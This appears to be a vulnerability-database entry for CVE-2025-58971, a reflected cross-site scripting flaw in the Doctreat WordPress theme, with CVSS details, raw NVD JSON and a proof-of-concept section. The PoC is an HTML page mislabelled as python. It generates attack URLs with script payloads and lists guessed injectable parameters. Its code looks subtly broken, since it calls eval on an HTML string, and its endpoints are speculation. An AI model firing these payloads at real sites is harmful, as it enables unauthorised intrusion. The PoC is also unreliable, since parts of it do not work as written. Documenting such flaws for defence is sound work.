Security Vulnerability Report
中文
CVE-2025-58971 CVSS 7.1 HIGH

CVE-2025-58971

Published: 2025-10-22 15:15:53
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AmentoTech Doctreat doctreat allows Reflected XSS.This issue affects Doctreat: from n/a through <= 1.6.7.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AmentoTech Doctreat <= 1.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-58971 Reflected XSS PoC --> <!-- Target: AmentoTech Doctreat WordPress Theme <= 1.6.7 --> <!DOCTYPE html> <html> <head> <title>CVE-2025-58971 PoC</title> </head> <body> <h1>CVE-2025-58971 Reflected XSS PoC</h1> <p>Target: AmentoTech Doctreat WordPress Theme</p> <h2>Attack URL:</h2> <textarea id="attackUrl" rows="3" cols="80" readonly></textarea> <br><br> <button onclick="generateXssUrl()">Generate XSS URL</button> <button onclick="testXss()">Test XSS</button> <div id="result"></div> <script> function generateXssUrl() { // Common Doctreat endpoints that may be vulnerable var baseUrl = window.location.origin + '/doctreat/'; var xssPayload = '<script>alert("XSS - CVE-2025-58971")<\/script>'; var maliciousUrl = baseUrl + '?s=' + encodeURIComponent(xssPayload); document.getElementById('attackUrl').value = maliciousUrl; } function testXss() { var xssPayload = '<img src=x onerror="alert(\'XSS Confirmed - CVE-2025-58971\'); document.cookie=\'\'"> '; document.getElementById('result').innerHTML = 'XSS Payload Test: ' + xssPayload; eval(xssPayload.replace('onerror=', 'onerror=')); } </script> <h3>Manual Test Steps:</h3> <ol> <li>Identify Doctreat theme installation</li> <li>Find input parameters (search, ID, redirect, etc.)</li> <li>Inject XSS payload: <script>alert(document.domain)</script></li> <li>Observe if payload is reflected without encoding</li> <li>If reflected, the vulnerability is confirmed</li> </ol> <h3>Common Vulnerable Parameters:</h3> <pre> /doctreat/?s=<XSS> /doctreat/?search=<XSS> /doctreat/?redirect=<XSS> /doctreat/?id=<XSS> /doctreat/?page_id=<XSS> /doctreat/?template=<XSS> </pre> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58971", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:53.333", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AmentoTech Doctreat doctreat allows Reflected XSS.This issue affects Doctreat: from n/a through <= 1.6.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/doctreat/vulnerability/wordpress-doctreat-theme-1-6-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}